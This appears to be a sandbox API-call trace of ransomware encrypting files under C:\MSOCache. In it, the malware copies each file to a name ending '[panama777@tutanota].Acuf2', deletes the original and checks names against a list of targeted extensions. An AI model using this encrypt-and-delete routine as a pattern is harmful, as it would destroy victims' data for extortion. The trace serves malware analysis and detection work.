	[0050.120] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0050.360] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x65520, lpOverlapped=0x0) returned 1
	[0050.725] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x65530, lpOverlapped=0x0) returned 1
	[0050.736] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.736] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.736] SetEndOfFile (hFile=0x1bc) returned 1
	[0050.736] CloseHandle (hObject=0x1bc) returned 1
	[0050.737] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.737] SetEndOfFile (hFile=0x170) returned 1
	[0050.740] CloseHandle (hObject=0x170) returned 1
	[0050.741] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.741] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1
	[0050.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.741] lstrlenW (lpString=".doc") returned 4
	[0050.741] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0050.741] lstrlenW (lpString=".docx") returned 5
	[0050.741] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0050.741] lstrlenW (lpString=".pdf") returned 4
	[0050.741] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0050.741] lstrlenW (lpString=".xls") returned 4
	[0050.741] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0050.741] lstrlenW (lpString=".xlsx") returned 5
	[0050.741] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0050.741] lstrlenW (lpString=".ppt") returned 4
	[0050.741] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0050.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.742] lstrlenW (lpString=".zip") returned 4
	[0050.742] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0050.742] lstrlenW (lpString=".rar") returned 4
	[0050.742] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0050.742] lstrlenW (lpString=".bz2") returned 4
	[0050.742] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0050.742] lstrlenW (lpString=".7z") returned 3
	[0050.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0050.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.742] lstrlenW (lpString=".dbf") returned 4
	[0050.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0050.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.742] lstrlenW (lpString=".1cd") returned 4
	[0050.742] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0050.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.742] lstrlenW (lpString=".jpg") returned 4
	[0050.742] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0050.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.742] lstrlenW (lpString=".doc") returned 4
	[0050.742] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0050.742] lstrlenW (lpString=".docx") returned 5
	[0050.742] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0050.742] lstrlenW (lpString=".pdf") returned 4
	[0050.742] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0050.742] lstrlenW (lpString=".xls") returned 4
	[0050.742] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0050.742] lstrlenW (lpString=".xlsx") returned 5
	[0050.742] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0050.743] lstrlenW (lpString=".ppt") returned 4
	[0050.743] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0050.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.743] lstrlenW (lpString=".zip") returned 4
	[0050.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0050.743] lstrlenW (lpString=".rar") returned 4
	[0050.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0050.743] lstrlenW (lpString=".bz2") returned 4
	[0050.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0050.743] lstrlenW (lpString=".7z") returned 3
	[0050.743] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0050.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.743] lstrlenW (lpString=".dbf") returned 4
	[0050.743] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0050.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.743] lstrlenW (lpString=".1cd") returned 4
	[0050.743] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0050.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0050.743] lstrlenW (lpString=".jpg") returned 4
	[0050.743] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0050.743] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0050.743] lstrlenW (lpString="setup.exe") returned 9
	[0050.743] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0050.744] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1377656) returned 1
	[0050.744] CloseHandle (hObject=0x170) returned 1
	[0050.744] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020
	[0050.744] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.744] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0050.744] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.744] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.744] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0050.745] GetLastError () returned 0x0
	[0050.745] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0051.039] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0051.059] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x50588, lpOverlapped=0x0) returned 1
	[0051.415] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x50590, lpOverlapped=0x0) returned 1
	[0051.425] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.427] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0051.427] SetEndOfFile (hFile=0x1bc) returned 1
	[0051.427] CloseHandle (hObject=0x1bc) returned 1
	[0051.427] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.427] SetEndOfFile (hFile=0x170) returned 1
	[0051.430] CloseHandle (hObject=0x170) returned 1
	[0051.431] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0051.431] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1
	[0051.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.431] lstrlenW (lpString=".doc") returned 4
	[0051.431] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0051.431] lstrlenW (lpString=".docx") returned 5
	[0051.431] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0051.431] lstrlenW (lpString=".pdf") returned 4
	[0051.431] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0051.431] lstrlenW (lpString=".xls") returned 4
	[0051.431] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0051.431] lstrlenW (lpString=".xlsx") returned 5
	[0051.431] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0051.432] lstrlenW (lpString=".ppt") returned 4
	[0051.432] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0051.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.432] lstrlenW (lpString=".zip") returned 4
	[0051.432] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0051.432] lstrlenW (lpString=".rar") returned 4
	[0051.432] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0051.432] lstrlenW (lpString=".bz2") returned 4
	[0051.432] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0051.432] lstrlenW (lpString=".7z") returned 3
	[0051.432] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0051.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.432] lstrlenW (lpString=".dbf") returned 4
	[0051.432] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0051.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.432] lstrlenW (lpString=".1cd") returned 4
	[0051.432] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0051.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.432] lstrlenW (lpString=".jpg") returned 4
	[0051.432] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0051.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.432] lstrlenW (lpString=".doc") returned 4
	[0051.432] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0051.432] lstrlenW (lpString=".docx") returned 5
	[0051.432] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0051.432] lstrlenW (lpString=".pdf") returned 4
	[0051.432] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0051.433] lstrlenW (lpString=".xls") returned 4
	[0051.433] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0051.433] lstrlenW (lpString=".xlsx") returned 5
	[0051.433] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0051.433] lstrlenW (lpString=".ppt") returned 4
	[0051.433] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0051.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.433] lstrlenW (lpString=".zip") returned 4
	[0051.433] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0051.433] lstrlenW (lpString=".rar") returned 4
	[0051.433] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0051.433] lstrlenW (lpString=".bz2") returned 4
	[0051.433] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0051.433] lstrlenW (lpString=".7z") returned 3
	[0051.433] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0051.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.433] lstrlenW (lpString=".dbf") returned 4
	[0051.433] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0051.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.433] lstrlenW (lpString=".1cd") returned 4
	[0051.433] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0051.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0051.433] lstrlenW (lpString=".jpg") returned 4
	[0051.433] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0051.433] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Acuf2") returned 1
	[0051.433] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0051.434] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0053.827] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=715834) returned 1
	[0053.827] CloseHandle (hObject=0x170) returned 1
	[0053.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020
	[0053.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0054.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0054.319] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0054.319] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0054.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0054.872] GetLastError () returned 0x0
	[0054.872] ReadFile (in: hFile=0x178, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xaec3a, lpOverlapped=0x0) returned 1
	[0054.958] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xaec40, lpOverlapped=0x0) returned 1
	[0054.971] ReadFile (in: hFile=0x178, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0054.971] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x104, lpOverlapped=0x0) returned 1
	[0054.971] SetEndOfFile (hFile=0x20c) returned 1
	[0054.971] CloseHandle (hObject=0x20c) returned 1
	[0054.972] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0054.972] SetEndOfFile (hFile=0x178) returned 1
	[0054.978] CloseHandle (hObject=0x178) returned 1
	[0054.978] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0054.978] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1
	[0054.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.979] lstrlenW (lpString=".doc") returned 4
	[0054.979] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0054.979] lstrlenW (lpString=".docx") returned 5
	[0054.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0054.979] lstrlenW (lpString=".pdf") returned 4
	[0054.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0054.979] lstrlenW (lpString=".xls") returned 4
	[0054.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0054.979] lstrlenW (lpString=".xlsx") returned 5
	[0054.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0054.979] lstrlenW (lpString=".ppt") returned 4
	[0054.979] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0054.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.979] lstrlenW (lpString=".zip") returned 4
	[0054.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0054.979] lstrlenW (lpString=".rar") returned 4
	[0054.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0054.979] lstrlenW (lpString=".bz2") returned 4
	[0054.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0054.979] lstrlenW (lpString=".7z") returned 3
	[0054.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0054.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.980] lstrlenW (lpString=".dbf") returned 4
	[0054.980] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.980] lstrlenW (lpString=".1cd") returned 4
	[0054.980] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.980] lstrlenW (lpString=".jpg") returned 4
	[0054.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.980] lstrlenW (lpString=".doc") returned 4
	[0054.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString=".docx") returned 5
	[0054.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0054.980] lstrlenW (lpString=".pdf") returned 4
	[0054.980] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString=".xls") returned 4
	[0054.980] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString=".xlsx") returned 5
	[0054.980] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0054.980] lstrlenW (lpString=".ppt") returned 4
	[0054.980] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.980] lstrlenW (lpString=".zip") returned 4
	[0054.980] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString=".rar") returned 4
	[0054.980] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0054.980] lstrlenW (lpString=".bz2") returned 4
	[0054.981] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0054.981] lstrlenW (lpString=".7z") returned 3
	[0054.981] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0054.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.981] lstrlenW (lpString=".dbf") returned 4
	[0054.981] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0054.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.981] lstrlenW (lpString=".1cd") returned 4
	[0054.981] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0054.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0054.981] lstrlenW (lpString=".jpg") returned 4
	[0054.981] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0054.981] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0054.981] lstrlenW (lpString="setup.exe") returned 9
	[0054.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0054.981] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1377656) returned 1
	[0054.982] CloseHandle (hObject=0x178) returned 1
